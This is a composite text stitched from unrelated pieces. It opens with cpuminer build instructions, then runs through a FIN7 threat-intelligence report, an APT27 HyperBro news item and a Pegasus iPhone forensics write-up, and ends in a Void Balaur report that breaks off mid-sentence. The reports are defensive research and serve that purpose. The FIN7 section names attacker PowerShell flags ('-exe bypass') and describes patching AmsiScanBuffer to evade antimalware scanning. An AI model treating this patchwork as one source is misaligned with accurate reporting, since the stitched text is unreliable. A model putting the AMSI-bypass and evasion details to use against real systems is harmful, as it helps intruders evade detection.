## Basic *nix build instructions:
```
./autogen.sh # only needed if building from git repo
./nomacro.pl # in case the assembler doesn't support macros
./configure CFLAGS="-O3" # make sure -O3 is an O and not a zero!
make
```
## Notes for AIX users:
- To build a 64-bit binary, export OBJECT_MODE=64
- GNU-style long options are not supported, but are accessible via configuration file
## Basic Windows build instructions, using MinGW:
Install MinGW and the MSYS Developer Tool Kit.
- Make sure you have mstcpip.h in MinGW\include
If using MinGW-w64, install pthreads-w64
Install libcurl devel.
- Make sure you have libcurl.m4 in MinGW\share\aclocal
- Make sure you have curl-config in MinGW\bin
In the MSYS shell, run:
```
./autogen.sh # only needed if building from git repo
LIBCURL="-lcurldll" ./configure CFLAGS="-O3"
make
```
## Architecture-specific notes:
- **ARM:** No runtime CPU detection. The miner can take advantage of some instructions specific to ARMv5E and later processors, but the decision whether to use them is made at compile time, based on compiler-defined macros. To use NEON instructions, add "-mfpu=neon" to CFLAGS.
- **PowerPC:** No runtime CPU detection. To use AltiVec instructions, add "-maltivec" to CFLAGS.
- **x86:** The miner checks for SSE2 instructions support at runtime, and uses them if they are available.
- **x86-64:** The miner can take advantage of AVX, AVX2 and XOP instructions, but only if both the CPU and the operating system support them.
- Linux supports AVX starting from kernel version 2.6.30.
- FreeBSD supports AVX starting with 9.1-RELEASE.
- Mac OS X added AVX support in the 10.6.8 update.
- Windows supports AVX starting from Windows 7 SP1 and Windows Server 2008 R2 SP1.
The configure script outputs a warning if the assembler doesn't support some instruction sets. In that case, the miner can still be built, but unavailable optimizations are left off. The miner uses the VIA Padlock Hash Engine where available.
## Usage instructions:
Run `minerd --help` to see options.
Connecting through a proxy: Use the `--proxy` option. To use a SOCKS proxy, add a socks4:// or socks5:// prefix to the proxy host. Protocols socks4a and socks5h, allowing remote name resolving, are also available since libcurl 7.18.0. If no protocol is specified, the proxy is assumed to be a HTTP proxy. When the `--proxy` option is not used, the program honors the http_proxy and all_proxy environment variables. |
The Conti ransomware leaks demonstrate what happens when hackers support Russia. |
# FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7
Recent public research asserts threat groups sharing overlaps with FIN7 transitioned to targeted ransomware operations involving REVIL, DARKSIDE, BLACKMATTER, and ALPHV ransomware. With the purported shift to ransomware operations, Mandiant is publishing our research on the evolution of FIN7 which we haven’t publicly written about since Mahalo FIN7, published in 2019. This blog post draws on organic research from both historical and recent intrusions that Mandiant directly investigated, and describes the process of merging multiple UNC groups into FIN7. This process allowed us to merge eight previously suspected UNC groups into FIN7 in January 2022. We also highlight notable shifts in FIN7 activity over this time, including their use of novel malware, incorporation of new initial access vectors, and likely shift in monetization strategies.
FIN7 continued to leverage PowerShell throughout their intrusions, including in a new backdoor called POWERPLANT, which FIN7 has continually developed over the last two years. We also identified new versions of the BIRDWATCH downloader being developed, which are tracked as CROWVIEW and FOWLGAZE. FIN7’s initial access techniques have diversified to include software supply chain compromise and the use of stolen credentials, in addition to their traditional phishing techniques. We also observed FIN7 use POWERPLANT as their first stage malware instead of LOADOUT and/or GRIFFON in newer intrusions. Data theft extortion or ransomware deployment following FIN7-attributed activity at multiple organizations, as well as technical overlaps, suggests that FIN7 actors have been associated with various ransomware operations over time.
Mandiant is also tracking multiple notable campaigns as separate UNC groups that we suspect are FIN7, including a “BadUSB” campaign leading to DICELOADER, and multiple phishing campaigns leveraging cloud marketing platforms leading to BIRDWATCH. We first disclosed threat reporting and publicized research on FIN7 in 2017. Since then, we’ve published multiple blog posts on FIN7 operations, with more extensive content available on Mandiant Advantage. In this blog post, we focus on examining the most recent FIN7 intrusion operations, as well as the attribution methodologies that we used.
## Threat Attribution Over Time
Our attribution methodology requires multiple layers of overlaps within collected threat data to merge suspected FIN7 UNC groups into our core FIN7 cluster. Merge evidence is sourced from analysis of attacker infrastructure, intrusion tradecraft, modus operandi, and how specific code is employed by the groups we research. Rigorous documentation of technical evidence is critical for modern cybercrime attribution, when considering the fluid and opportunistic nature of cybercriminal operations, as well as individual operators’ narrow allegiances to criminal organizations. It is also common for us to observe multiple threat groups engaging in intrusion operations within close temporal proximity, sometimes even using the same access method within hours or minutes of each other. This is especially notable in the ransomware ecosystem, where Mandiant has observed individual members shift teams, and teams migrate between affiliate programs commonly adopting different TTPs across intrusions depending on who they are collaborating with or gaining access from at a given time.
To date, we suspect 17 additional UNCs of being affiliated with FIN7 with varying levels of confidence; however, those groups have not been formally merged into FIN7. Those groups’ activity spans as far back as 2015 and as recently as late 2021, across 36 separate intrusions. Eight previously suspected FIN7 UNC groups, active since 2020, have recently been merged into FIN7, confirming the resilience of actors associated with the threat group.
### 2020 Activity Brief: Heavy on the LOADOUT
FIN7 was active during the spring and summer of 2020, conducting phishing campaigns and attempting to distribute LOADOUT and GRIFFON. During that time, five UNC groups were created to track various campaigns, which eventually were merged into our new splinter group of FIN7, following merge analysis later in 2021 that expanded our understanding of FIN7. The impacts of related UNC merges for 2020 activity added usage of code families LOADOUT, TAKEOUT and a BIRDWATCH variant into FIN7.
LOADOUT is an obfuscated VBScript-based downloader which harvests extensive information from the infected system. The harvested information is then sent to a command-and-control (C2) server. C2 server responses for LOADOUT infections delivered GRIFFON, a JavaScript-based downloader which retrieves additional JavaScript modules using HTTP or DNS and executes them in memory. In late summer of 2020, FIN7 capped off their busy year with the first observed usage of POWERPLANT. POWERPLANT, also referred to as “KillACK”, is a PowerShell-based backdoor with a breadth of capabilities, initially delivered following a successful GRIFFON infection in August 2020. Merges involving the usage of POWERPLANT into 2021 led us to assess that FIN7 is likely the only operator using POWERPLANT.
### 2021 Activity Brief: A Shift to POWERPLANT
We identified an uptick in FIN7-suspected UNC group activity during 2021 across five intrusions, beginning in April of 2021. The uptick led us to initiate a deep-dive research effort into FIN7. We also observed FIN7 shift their initial access techniques away from using LOADOUT, GRIFFON or CARBANAK in favor of direct deployment of POWERPLANT and BEACON. Specifically, FIN7 used POWERPLANT in all observed intrusions in 2021. FIN7 also relied on BEACON as a secondary mode of access alongside some POWERPLANT infections.
Throughout 2021 we scrutinized a multitude of FIN7-linked UNC groups to our breadth of past FIN7 intelligence holdings, merging multiple threat clusters along the way. Our research revealed a fusion of older FIN7 intrusion tradecraft, and new FIN7 malware.
### PowerShell Archaeology: FIN7 Habits Die Hard
There is no doubt about it, PowerShell is FIN7’s love language. FIN7 has implemented malware into its offensive operations using many programming languages; however, during on-system interactions, FIN7’s preference for boutique PowerShell-based loaders and unique PowerShell commands is dominant. Our deep dive into prior FIN7 intrusions dating as far back as 2019 bubbled up several long-standing patterns of unique PowerShell invocations still being used today.
The unique aspect in the command lines is the distinct parameters -noni -nop -exe bypass -f, for launching scripts located in Admin shares and installing Windows services. Since 2019, we have observed FIN7 use command line parameters such as these while interacting with victim systems through backdoor malware such as CARBANAK. We have since seen a shift of some of these distinct PowerShell commands being initiated through POWERPLANT infections.
Smaller patterns and consistencies across FIN7 intrusions from 2019 and beyond reveal more distinct PowerShell command lines using -ex bypass -f or -ex bypass -file as passed parameters. Although those patterns appear modest to hunt for, the combinations have extremely low global prevalence outside of FIN7-associated threat activity. For example, the first command line pattern has been seen over 2800 times, all of which were events attributed to FIN7. The second command line pattern has been seen nearly 250 separate times at 10 different victims as far back as 2019, all of which were FIN7 attributed commands.
In addition to FIN7’s unique command lines during intrusion operations, we identified long-standing usage of other PowerShell code families, such as POWERTRASH. POWERTRASH is an in-memory dropper, or loader, written in PowerShell that executes an embedded payload. Observed payloads loaded by FIN7’s POWERTRASH include CARBANAK, DICELOADER, SUPERSOFT, BEACON and PILLOWMINT. POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub.
With this improved understanding of FIN7 intrusion operations, we assembled our analytical efforts to begin merging multiple suspected UNCs into FIN7. As part of this initiative, we identified new FIN7 missions targeting our customers, including a Managed Defense Rapid Response engagement in 2021.
### Managing a Defense
FIN7 has targeted a broad spectrum of organizations in multiple industries, including Software, Consulting, Financial Services, Medical Equipment, Cloud Services, Media, Food and Beverage, Transportation, and Utilities. We identified over a dozen intrusions attributed to FIN7 since 2020 across our client base. The following use case profiles recent FIN7 tradecraft during a Mandiant Managed Defense engagement in 2021.
To obtain initial access during this intrusion, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server across two separate days, and initiated two similar Windows process chains.
FIN7 used established RDP access to eventually install other modes of host control, first by executing PowerShell reconnaissance scripts, then by executing a TERMITE loader. TERMITE is a password-protected shellcode loader which we have observed at least seven distinct threat groups use to load BEACON, METASPLOIT, and BUGHATCH shellcodes. FIN7 used TERMITE to load and execute a shellcode stager for Cobalt Strike BEACON in this case.
Following secondary access of BEACON, FIN7 began further enumeration using built-in Windows commands as well as POWERSPLOIT and Kerberoasting PowerShell modules.
After the initial reconnaissance using RDP and BEACON, FIN7 executed an obfuscated loader for a victim-customized variant of the PowerShell-based backdoor POWERPLANT, providing tertiary access. FIN7 then attempted to steal credentials and further compromise the victims’ environment with limited success, as the client was able to respond and quickly remediate with the advantage of Managed Defense responders.
A unique aspect of this specific intrusion perfectly highlighted the challenges of technical attribution for cybercriminal threats: Between the two days of FIN7 operations on the victim system, FIN12 was also active on the same victim for multiple hours using the same RDP account, but much different infrastructure and tradecraft, attempting to install BEACON using the WEIRDLOOP in-memory dropper before the intrusion was remediated.
### FIN7’s Evasion
Among FIN7’s historical trademarks were their creative obfuscation and fast development of evasive techniques. This is still the case, with FIN7 first stage droppers and downloaders being heavily obfuscated. LOADOUT in particular, due to its wide distribution in opportunistic campaigns, has been through several iterations meant to improve evasion.
The initial obfuscation mechanism was basic but effective at evading static detections: the malicious code was interspersed with random junk code. After a few months of successful campaigning, AV detection engines improved coverage of the downloader. To get around this, and to send a message, LOADOUT developer(s) broke up the beacon suspected to be used in detection signatures by simply inserting “FUCKAV” into the strings.
Indeed, the developer(s) was correct to be suspicious that these strings were being used for detection. By pivoting on the beacon, we discovered a new, work-in-progress variant of LOADOUT submitted to VirusTotal, detected by only one engine. Two hours later, a new version was submitted, this time with the offending PowerShell command obscured through their custom obfuscation mechanism.
FIN7 actors have historically tested their tools against public repositories to check static detection engine coverage. It is likely that in this case, they were testing the strength of their custom obfuscation. This new and improved version of LOADOUT emerged five months later. It was refactored to add multiple layers of obfuscation, including interspersed Bible verses as filler text, and string obfuscation through a custom mechanism.
### POWERPLANT: FIN7’s PowerShell Workhorse
FIN7 has leveraged multiple methods of initial and secondary access into victim networks including phishing, compromising third-party systems, Atera agent installers, GoToAssist, and RDP. In a recent case, FIN7 actors compromised a website that sells digital products and modified multiple download links to point to an Amazon S3 bucket hosting trojanized versions, containing an Atera agent installer. This remote management tool was later used to deploy POWERPLANT to the victim system. This was the first time Mandiant observed FIN7 leverage supply chain compromise. FIN7’s time-tested CARBANAK and DICELOADER (also known as Lizar) malware continue to be in use; however, we have noticed FIN7 depend more on the POWERPLANT backdoor during recent intrusions.
Our research into POWERPLANT has revealed that it is a vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server. POWERPLANT backdoors contain internal version identifiers within the code. We have identified samples ranging from version “0.012” through “0.028”. The rate of increase in these internal version numbers over time suggests that FIN7 is actively developing POWERPLANT. In one engagement, we observed FIN7 deploy incremented versions of POWERPLANT with tweaked functionality to targets in the middle of intrusion operations. Each version we have identified implements overall similar functionality with some programmatic improvements and features added over time.
Mandiant also recovered portions of server-side code components from POWERPLANT controllers. Some of these components contain clues that hint at the operational security mindfulness of the malware’s developers. Two such examples are FIN7 being aware of researchers investigating their infrastructure, and employing capabilities to ban target host aspects such as usernames from the panel.
During active C2 sessions, POWERPLANT servers will send multiple additional module types as “tasks” for target systems to execute. Two of these modules are EASYLOOK and BOATLAUNCH.
#### EASYLOOK Module
EASYLOOK is a reconnaissance utility that FIN7 has used since at least 2019. EASYLOOK captures a wide range of data from infected systems, including operating system version, registration key, system name, username, domain information, and hardware specifications. The initial version of EASYLOOK was delivered by a GRIFFON C2 server and written in JScript. FIN7’s updated variation of EASYLOOK was delivered by a POWERPLANT variant C2 server and written in PowerShell. Both versions implemented the exact same functionality across two code languages, including the typo “bios_versoin”.
#### BOATLAUNCH Module
BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names.
### The Curious Cases of BIRDWATCH
Our deep dive also revealed usage of BIRDWATCH and its similar variants used by FIN7 and suspected FIN7 groups such as UNC3381. BIRDWATCH is a .NET-based downloader which retrieves payloads over HTTP, writing them to disk and then executing them. BIRDWATCH uploads reconnaissance information from targeted systems as well, which includes running processes, software installed, network configuration, web browser information and active directory data. BIRDWATCH is often referred to collectively as “JssLoader”; however, multiple variations of BIRDWATCH exist which we track as separate code families. One variant of BIRDWATCH is CROWVIEW, which is also .NET-based, but has enough code differences from prototypical BIRDWATCH that we cluster it separately. Unlike BIRDWATCH, CROWVIEW can house an embedded payload, can self-delete, supports additional arguments and stores a slightly different configuration.
FIN7 has implemented similar or exact functionality in different programming languages, observed in various code families several times over the past few years. Similar to EASYLOOK, which has both JScript and PowerShell variants, BIRDWATCH and CROWVIEW have separate versions implemented in C++. This data point of code reuse and overlaps aided our technical attribution throughout multiple UNC merges, when combined with additional infrastructure and tradecraft analysis.
A final code reuse example is usage of "theAnswer", defined as variable within program functionality of POST requests to C2 controllers for both CROWVIEW and POWERPLANT.
Malware code usage is sometimes considered a primary data point for some public threat attribution. Code overlaps by themselves, without sufficient additional data points such as intrusion data and infrastructure, are not strong enough for us to fully assess that an UNC group should be merged. Throughout 2021 and well into 2022, we have identified and will continue to track multiple newly suspected FIN7 UNCs and their activity moving forward.
### Additional Recent Activity from Suspected FIN7 UNCs
In October 2021, Mandiant observed a campaign where actors mailed victim organizations “BadUSB” malicious USB devices, primarily targeting U.S.-based organizations. We attribute this campaign to UNC3319, a group which we suspect to be associated with FIN7 with low confidence. The USB hardware was programmed to download STONEBOAT, which ultimately installed the DICELOADER framework on the victim system. STONEBOAT is a previously unseen, .NET-based in-memory dropper which decrypts a shellcode payload embedded in it. The payload is then mapped into memory and executed. STONEBOAT was observed first loading an intermediary loader called DAVESHELL, which then executed the final DICELOADER payload. DAVESHELL is publicly available, open-source code for a launcher of embedded payloads. DAVESHELL is used by nearly 30 threat groups including FIN12; however, the implementation of DAVESHELL shellcode loading DICELOADER was unique to a small cluster of threat activity.
Additionally, we’ve identified multiple phishing campaigns distributing BIRDWATCH that have leveraged compromised accounts on various email delivery and marketing platforms, including Maropost, ActiveCampaign, and Mailjet. We attribute this activity to UNC3381, which is suspected to be FIN7 with low confidence. UNC3381 was first observed in September 2021, but we’ve identified similar activity leveraging Mailjet dating back to late 2019, suspected to be UNC3381 with high confidence.
Throughout their campaigns, UNC3381 has used nearly identical Quickbooks-themed invoice lures and leveraged the branding of the compromised account that they were sent from, providing additional legitimacy for their phishes. These emails contained a malicious link that goes through the analytics domain associated with the platform they were sent from, before redirecting to a page typically hosted on a compromised domain.
### FIN7 and Ransomware
Mandiant published finished intelligence in 2020 which outlined evidence of FIN7’s possible shift in monetization of intrusions from payment card data to extortion operations. Although FIN7’s operations have shifted substantially when compared to their older activity, as of publishing this report, Mandiant has not attributed any direct deployment of ransomware to FIN7. However, the possibility that FIN7 actors are engaging in ransomware operations is also substantiated by evidence outside of our intrusion data holdings and includes code usage, actor infrastructure, and trusted third party sources.
In at least two incident response engagements in 2020, FIN7 intrusion operations were identified prior to ransomware encryption, including the use of MAZE and RYUK. Similarly in 2021, Mandiant attributed active FIN7 intrusion activity during an incident response engagement involving ALPHV ransomware. In all these cases, the ransomware deployment is currently attributed to separately tracked threat groups due to factors of the investigation and our visibility.
In addition to evidence produced from intrusion data, secondary artifacts suggest FIN7 played a role in at least some DARKSIDE operations. A low global prevalence code signing certificate used by FIN7 in 2021 to sign BEACON and BEAKDROP samples was also used to sign multiple unattributed DARKSIDE samples recovered in the wild. The specific mentioned code signing certificate used by FIN7 contained the SSL subject common name of “OASIS COURT LIMITED”.
## Conclusion
Despite indictments of members of FIN7 in 2018 and a related sentencing in 2021 announced by the U.S. Department of Justice, at least some members of FIN7 have remained active and continue to evolve their criminal operations over time. Throughout their evolution, FIN7 has increased the speed of their operational tempo, the scope of their targeting, and even possibly their relationships with other ransomware operations in the cybercriminal underground.
## Indicators of Compromise (IOCs)
| Indicator | Notes |
|-----------|-------|
| 0c6b41d25214f04abf9770a7bdfcee5d | BOATLAUNCH 32bit |
| 21f153810b82852074f0f0f19c0b3208 | BOATLAUNCH 64bit |
| 02699f95f8568f52a00c6d0551be2de5 | POWERPLANT |
| 0291df4f7303775225c4044c8f054360 | POWERPLANT |
| 0fde02d159c4cd5bf721410ea9e72ee2 | POWERPLANT |
| 2cbb015d4c579e464d157faa16994f86 | POWERPLANT |
| 3803c82c1b2e28e3e6cca3ca73e6cce7 | POWERPLANT |
| 5a6bbcc1e44d3a612222df5238f5e7a8 | POWERPLANT |
| 833ae560a2347d5daf05d1f670a40c54 | POWERPLANT |
| b637d33dbb951e7ad7fa198cbc9f78bc | POWERPLANT |
| bce9b919fa97e2429d14f255acfb18b4 | POWERPLANT |
| d1d8902b499b5938404f8cece2918d3d | POWERPLANT |
Mandiant Security Validation Actions
Organizations can validate their security controls against more than 25 actions with Mandiant Security Validation.
| VID | Name |
|-----|------|
| A150-527 | Command and Control - FIN7, BATELEUR, Check-in |
| A150-528 | Command and Control - FIN7, GRIFFON, Check-in |
| A151-165 | Command and Control - FIN7, GRIFFON, DNS Query #1 |
| A151-166 | Command and Control - FIN7, GRIFFON, DNS Query #2 |
| A104-585 | Host CLI - FIN7, Local Javascript Execution via WMI and Mshta |
| A150-546 | Malicious File Transfer - FIN7, CARBANAK, Download, Variant #1 |
| A150-548 | Malicious File Transfer - FIN7, CARBANAK, Download, Variant #3 |
| A150-710 | Malicious File Transfer - FIN7, DICELOADER, Download, Variant #1 |
| A150-549 | Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #1 |
| A150-550 | Malicious File Transfer - FIN7, DRIFTPIN, Download, Variant #2 |
| A151-168 | Malicious File Transfer - FIN7, GRIFFON, Download, JavaScript Variant |
| A150-553 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #1 |
| A150-554 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #2 |
| A150-555 | Malicious File Transfer - FIN7, GRIFFON, Download, Variant #3 |
| A150-572 | Malicious File Transfer - FIN7, SUPERSOFT, Download, Variant #1 |
| A150-729 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #1 |
| A150-730 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #2 |
| A150-731 | Malicious File Transfer - FIN7, TAKEOUT, Download, Variant #3 |
| A150-585 | Phishing Email - Malicious Attachment, FIN7, BATELEUR DOC Lure |
| A150-586 | Phishing Email - Malicious Attachment, FIN7, GRIFFON DOCM Lure |
| A151-167 | Phishing Email - Malicious Attachment, FIN7, GRIFFON, Windows 11 Themed Lure |
| A150-587 | Phishing Email - Malicious Attachment, FIN7, Tracking Pixel |
| A150-590 | Protected Theater - FIN7, BATELEUR, Execution |
| A151-044 | Protected Theater - FIN7, CARBANAK, Execution |
| A150-366 | Protected Theater - FIN7, CULTSWAP, Execution |
| A150-591 | Protected Theater - FIN7, GRIFFON, Execution |
| A151-170 | Protected Theater - FIN7, GRIFFON, Execution, JavaScript Variant |
| A151-169 | Protected Theater - FIN7, GRIFFON, Execution, Word Document Variant |
## MITRE ATT&CK Mapping
Throughout 2020 and 2021, Mandiant has observed FIN7 use the following techniques:
### Execution
- T1059: Command and Scripting Interpreter
- T1059.001: PowerShell
- T1059.003: Windows Command Shell
- T1059.005: Visual Basic
- T1059.007: JavaScript
- T1204.001: Malicious Link
- T1204.002: Malicious File
- T1569.002: Service Execution
### Initial Access
- T1195.002: Compromise Software Supply Chain
- T1199: Trusted Relationship
- T1566.001: Spearphishing Attachment
- T1566.002: Spearphishing Link
### Impact
- T1491.002: External Defacement
### Resource Development
- T1583.003: Virtual Private Server
- T1588.003: Code Signing Certificates
- T1588.004: Digital Certificates
- T1608.003: Install Digital Certificate
- T1608.005: Link Target
### Defense Evasion
- T1027: Obfuscated Files or Information
- T1027.005: Indicator Removal from Tools
- T1036: Masquerading
- T1036.003: Rename System Utilities
- T1055: Process Injection
- T1070.004: File Deletion
- T1140: Deobfuscate/Decode Files or Information
- T1218.010: Regsvr32
- T1218.011: Rundll32
- T1497.001: System Checks
- T1553.002: Code Signing
- T1564.003: Hidden Window
- T1620: Reflective Code Loading
### Collection
- T1113: Screen Capture
- T1213: Data from Information Repositories
- T1560: Archive Collected Data
### Lateral Movement
- T1021.001: Remote Desktop Protocol
- T1021.004: SSH
### Command and Control
- T1071.001: Web Protocols
- T1090: Proxy
- T1095: Non-Application Layer Protocol
- T1105: Ingress Tool Transfer
- T1132.001: Standard Encoding
- T1573.002: Asymmetric Cryptography
### Discovery
- T1012: Query Registry
- T1033: System Owner/User Discovery
- T1057: Process Discovery
- T1069: Permission Groups Discovery
- T1069.002: Domain Groups
- T1082: System Information Discovery
- T1083: File and Directory Discovery
- T1087: Account Discovery
- T1087.002: Domain Account
- T1482: Domain Trust Discovery
- T1518: Software Discovery
### Credential Access
- T1110.002: Password Cracking
- T1555.003: Credentials from Web Browsers
- T1558.003: Kerberoasting |
# APT27 Group Targets German Organizations with HyperBro
A German intelligence service is warning against ongoing attacks by a China-backed hacking group. The group, identified as APT27, has been targeting commercial organizations in Germany.
## HyperBro is the tool
According to the German intelligence agency BfV, the attackers are using HyperBro RAT to backdoor targeted networks. The RAT acts as an in-memory backdoor with remote administration capabilities. The goal of the campaign seems to be stealing sensitive information and targeting victims' customers in supply chain attacks. Further, they may attempt to infiltrate the networks of corporate customers.
Moreover, the intelligence agency has published IOCs and YARA rules to help targeted German organizations check for infections.
## Understanding APT27 campaigns
Experts revealed that APT27 has been exploiting flaws in Zoho AdSelf Service Plus software since March 2021. From March until mid-September, the APT group used an ADSelfService zero-day exploit (CVE-2021-40539), and then switched to exploiting an n-day AdSelfService exploit before finally jumping to the ServiceDesk flaw (CVE-2021-44077) from 25 October onward.
As per Palo Alto, the APT group had exploited ManageEngine flaws to deliver web shells on critical infrastructure organizations and was associated with attacks abusing critical ProxyLogon bugs in March 2021. Palo Alto Networks also noted that APT27 compromised nine organizations from critical sectors around the world, such as healthcare, energy, defense, education, and technology.
While no connection has been formed between the RAT and the previous campaigns as of now, more information is awaited.
## Closing thoughts
The recent warning should be considered serious, and targeted organizations are suggested to be prepared with countermeasures. Targeted entities should protect their intellectual information with robust encryption and access systems. Further, make use of provided IOCs and YARA rules for better detection.
**APT27** **German Organizations** **HyperBro RAT** **Zoho ManageEngine** |
# Forensics Analysis of the NSO Group’s Pegasus Spyware
NSO’s Group Pegasus spyware was mentioned multiple times during 2021 in the media. It has been heavily analyzed by organizations such as Amnesty International and the University of Toronto’s Citizen Lab. The targets included journalists from Azerbaijan, France, Hungary, India, French human rights lawyers, French human rights activists, Rwandan activists, and Indian human rights activists. Citizen Lab also identified Bahraini activists, New York Times Journalist Ben Hubbard, and Palestinian human rights defenders as victims.
The Pegasus spyware has been distributed via one-click attacks (the target needs to click on a malicious link received via SMS messages, WhatsApp, etc.) and zero-click attacks (no interaction needed). Some of the recently used 0-day exploits developed by NSO Group include KISMET and FORCEDENTRY (also called Megalodon). It’s important to mention that Apple patched all the vulnerabilities submitted regarding these attacks, and it’s crucial to update your iOS devices regularly.
The FORCEDENTRY exploit has been analyzed by Google and TrendMicro. It has been attributed a CVE identifier of CVE-2021-30860 and represents a vulnerability in the CoreGraphics PDF parser. It is an integer overflow vulnerability which leads to out-of-bounds write. The crashing point inside the function JBIG2Stream::readTextRegionSeg is displayed below:
*Source: TrendMicro*
The Google Project Zero team performed a deep dive into the exploit and explained that the attackers could define a small computer architecture with registers and a 64-bit adder and comparator. It is computationally equivalent to JavaScript, and the team concluded that this is one of the most technically sophisticated exploits they’ve ever analyzed.
LIFARS team analyzed a suspected infection with Pegasus using the Mobile Verification Toolkit released by the Amnesty International Security Lab. We’ve also used the NSO Group Pegasus IOCs (domains, iCloud accounts, files, process names) in our investigation.
We were able to identify six Pegasus processes that ran on the victim’s iPhone. The infection occurred on February 1st, which coincided with when the NSO group deployed the FORCEDENTRY iMessage Zero-Click mentioned by the CitizenLab in their report.
| Wifi In (MB) | Wifi Out (MB) | Wan In (MB) | Wan Out (MB) | Timestamp (UTC) | Process Name |
|--------------|---------------|-------------|---------------|------------------|---------------|
| 1.6554 | 0.178541 | 0 | 0 | 2/1/2021 13:02:30| wifip2ppd |
| 0.007 | 0.0019 | 0 | 0 | 2/1/2021 13:02:31| ABSCarryLog |
| 29.8661 | 99.8687 | 1.2749 | 1.0464 | 2/1/2021 13:03:00| misbrigd |
| 1.6548 | 0.1939 | 0 | 0 | 2/11/2021 23:31:38| cfprefssd |
| 0.007 | 0.0019 | 0 | 0 | 2/11/2021 23:31:38| gssdp |
| 75.6967 | 58.8612 | 7.6284 | 4.99 | 2/11/2021 23:32:04| libbmanaged |
As shown in the table above, two processes performed data exfiltration. The libbmanaged process was running for over a week, based on a record from the DataUsage.sqlite database:
| Wifi In (MB) | Wifi Out (MB) | Wan In (MB) | Wan Out (MB) | Timestamp (UTC) | Process Name |
|--------------|---------------|-------------|---------------|------------------|---------------|
| 0 | 0 | 7.99 | 5.07 | 2/19/2021 1:16:18| libbmanaged |
Before the malicious processes ran, we’ve identified the following process related to iMessage processing:
| Wifi In (MB) | Wifi Out (MB) | Wan In (MB) | Wan Out (MB) | Timestamp (UTC) | Process Name |
|--------------|---------------|-------------|---------------|------------------|---------------|
| 0 | 0 | 15.0895 | 0.4087 | 2/1/2021 12:52:55| IMTransferAgent|
The file “/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist” used by Amnesty International’s Security Lab to extract the suspicious iMessage account lookups is missing in our case. The netusage.sqlite SQLite database is also missing, and we couldn’t extract records from the Cache.db databases because we couldn’t jailbreak the device.
The Pegasus spyware remains an active threat even if the NSO Group has been sanctioned by the United States. We recommend rebooting your iPhone daily in order to remove non-persistent malware. |
# Void Balaur: The Sprawling Infrastructure of a Careless Mercenary
**Tom Hegel**
## Executive Summary
The cyber mercenary group known as Void Balaur continues to expand their hack-for-hire campaigns into 2022, unphased by disruptions to their online advertising personas. New targets include a wide variety of industries, often with particular business or political interests tied to Russia. Void Balaur also goes after targets valuable for prepositioning or facilitating future attacks. Their targets span the United States, Russia, Ukraine, and various other countries.
Attacks are often very generic in theme, may appear opportunistic in nature, and account for targets making use of multi-factor authentication. The group seeks access to well-known email services (Gmail, Outlook, Yahoo), social media (Facebook, Instagram), messaging (Telegram), and corporate accounts. A unique and short-lived connection links Void Balaur’s infrastructure to the Russian Federal Protective Service (FSO), a low-confidence indication of a potential customer relationship or resource sharing between the two.
## Overview
Void Balaur is a highly active hack-for-hire/cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.
Void Balaur was first reported in 2019, then again in 2020. In November 2021, colleagues at Trend Micro profiled the larger set of malicious activity and named the actor “Void Balaur” based on a monster of Eastern European folklore. Most recently, Google’s TAG highlighted some of their activity earlier this year. Building on top of analysis from each of our above colleagues, the purpose here is to share our analysis of interesting findings based on newer activity and the large scale set of attacker infrastructure.
During our inaugural LABScon event, I presented on this very topic – a careless mercenary group known as Void Balaur. Attendees of the conference were given a more detailed overview of the content shared here, including specific details on attribution to individuals in Latvia. In the spirit of LABScon, I look forward to further tracking of this actor alongside our industry colleagues to better protect society.
## The Hack-for-Hire Business
The hack-for-hire service offering linked to Void Balaur has been advertised through various brand names, as also noted by previous reporting. These are only two early examples of likely others run by the same entity.
First is Hacknet, or “Hackernet-Service”, which began operating in late 2016. In these early years of activity, the group advertised their “Professional Hacking to Order” service for good and to help meet the needs others cannot meet. The name can be found advertising across many dark web forums.
The section on legality of their service provides insight into the mindset and justification of the attacker.
Services first offered for hacking at the time included Yandex, Rambler, Mail.ru, Gmail, UKR.net, Yahoo, Outlook, corporate email, Instagram, VK.com, OK.ru, Facebook, and Skype, in addition to “Hacking Training”. A year later in 2017, the group removed the services of hacking Outlook, Facebook, and UKR.net while adding ICQ messages. In 2018, the group updated their legality pitch noting that corporate email and other requests outside of their advertised list would be considered. Additionally, the group began offering services around content modification/uploading to email and social media networks.
Ultimately, the Hacknet persona and their service ended around early 2020 following bans across services and brand collapse after failing to follow through with hacking services they were paid for.
The second example is “RocketHack”, which became active in early 2018, acting as a second persona operated by the same entity. The RocketHack persona and offerings were thoroughly documented in the Trend Micro report. Interestingly, in our screenshot of their landing page, they used a quote from Nikolay Kononov’s book *Kod Durova*, a story on the creation of the Russian VK social network.
Around 2019, Hacknet and RocketHack began offering services through various hacker forums to provide information on individuals, including banking and government documents. The personas also began to offer services for:
- Remote access or perform requested actions on target PCs
- Remove content from any blogs, forums, YouTube Channels, news sites or databases “of any institution”
- Cleanup information online, and manipulate search engine results
- Remote access to iPhones, mobile tracking, manipulating associated data
- SMS historical records of targets
- Real-time location tracking through mobile networks
## Void Balaur Infrastructure
As of this blog, Void Balaur has operated over 5,000 unique domains used against individual targets. With a quantity of actor-controlled domains in the thousands, each provides an opportunity for the attacker to make mistakes and lead us to a new set of useful clues. Focusing on the most recent activity from Void Balaur, the set of domains follow a repeating generic set of patterns:
